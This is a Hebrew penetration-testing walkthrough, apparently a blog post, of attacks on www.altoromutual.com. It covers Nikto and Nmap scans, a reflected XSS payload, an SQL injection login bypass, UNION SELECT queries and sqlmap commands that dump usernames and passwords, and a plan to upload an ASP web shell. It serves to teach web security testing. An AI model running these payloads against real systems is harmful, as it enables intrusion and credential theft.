דו"ח www.altotomutual.com:

1. ראשית יש למצוא את כתובת ה-IP, הכתובת 65.61.137.117 ולהוסיף אל תוכנת Burp Suite.

2. סריקה באמצעות Nikto:
nikto –h www.altoromutual.com
Retrieved x-powered-by header: ASP.NET
Server: Microsoft-IIS/8.0
Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

OSVDB-3092: /admin.htm: This might be interesting...
OSVDB-3092: /bank/: This might be interesting...

3. סריקה באמצעות Nmap:
nmap –sV 65.61.137.117
    Not shown: 997 closed ports    NMAP: PORT STATE SERVICE VERSION    80/tcp open http Microsoft IIS httpd 8.0    443/tcp open ssl/http Microsoft IIS httpd 8.0    8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1    Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows




4. כעת, נגלוש את האתר וננסה למצוא מידע חשוב שיכול לעזור לנו להתקדם.

5. נמצא Xss Reflected בתיבת החיפוש לאחר שהוזן:
<script>alert()</script> or <script>a()</script>

* יש לבדוק את קוד המקור כדי לראות אם הסקריפט נקלט במלואו ולא סונן.

6. ננסה להתחבר עם שם משתמש וסיסמא, ישנה שגיאה, נבדוק אותה.

7. ננסה להתחבר עם שם משתמש וסיסמא ולהוסיף שגיאה, תופיע שגיאה פעם נוספת.
user’ password: 3456

* אם נקרא את השגיאה נוכל לגלות שם את המיקום של האפליקציה.

8. במצב הנוכחי התנאי הוא שלילי, כדי להפוך אותו לחיובי יש להשתמש בכישורי SQLI פשוטים בשם המשתמש נזין את הביטוי הבא:
user' or 1=1-- -
הסיסמא לא רלוונטית כי אם גם ככה לא נשלחת אפשר לכתוב מה שרוצים.

9. הצלחנו להתחבר, במצב הזה המערכת שולפת את המשתמש הראשון שנוצר במערכת ואיתו אנחנו נתחבר.


10. כעת, עלינו למצוא נקודת הזרקה נוספת, ננסה לכתוב משהו בתאריכים ונבדוק מה קורה בקוד.

* במקרה של הזנת סקריפט, נמצא כי הוא יסונן (Order by גם לא עובד).

11. ננסה להזין ב-Recent Transaction. (עובד! יש SQLI).
1 union select 1,2,3,4 from users-- - 

12. ננסה למצוא את שמות המשתמשים והסיסמאות.
Try to use: 1 union select 1,username,password,4 from users-- -

13. ישנה דרך נוספת לאיתור סיסמאות באמצעות SQLMAP:
* נשמור Payload חוקי של ID וסיסמא מתוכנת Burp לקובץ:
uid=* &passw=123&btnSubmit=Login > /tmp/1.log

* נפתח את הכלי SQLMAP ונזין את הפקודה הבאה:
sqlmap -l /tmp/1.log --prefix="'" --suffix="-- -" -p uid --technique b

* מהפלט, ניתן להבין שמדובר במסד נתונים של Microsoft Access ולכן הפקודה הנל לא תעבוד.

* יש לכתוב את רצף הפקודות הבאות: (בחירת מסד נתונים, בחירת טבלה, בחירת שם וכו').
sqlmap -l /tmp/1.log --prefix="' or 1=1" --suffix="-- -" --technique b --code=302 –tables

sqlmap -l /tmp/1.log --prefix="' or 1=1" --suffix="-- -" --technique b --code=302 -T users -C username --dump

[11:38:21] [WARNING] on Microsoft Access it is not possible to enumerate the user password hashes

sqlmap -l /tmp/1.log --prefix="' or 1=1" --suffix="-- -" --technique b --code=302 --common-tables

sqlmap -l /tmp/1.log --prefix="' or 1=1" --suffix="-- -" --technique b --code=302 -T users -C user,password --dump

14. נחפש מיקום שאפשר לכתוב אליו:

15. נמלא מידע ונעצור את הבקשה באמצעות Burp:

16. נבדוק את הקובץ ונראה שיש שם User Input משמעות הדבר שיש נקודה שאפשר לכתוב אליה:
* מכיוון שזה היישום כתוב בשפת ASP נעלה לשם Web application Shell מותאם.

שתף:

פאביו ליאור רחמים

סקרן, אוהב טכנולוגיה ומחשבים מזה שנים רבות וכותב ערכים קבוע בויקיפדיה.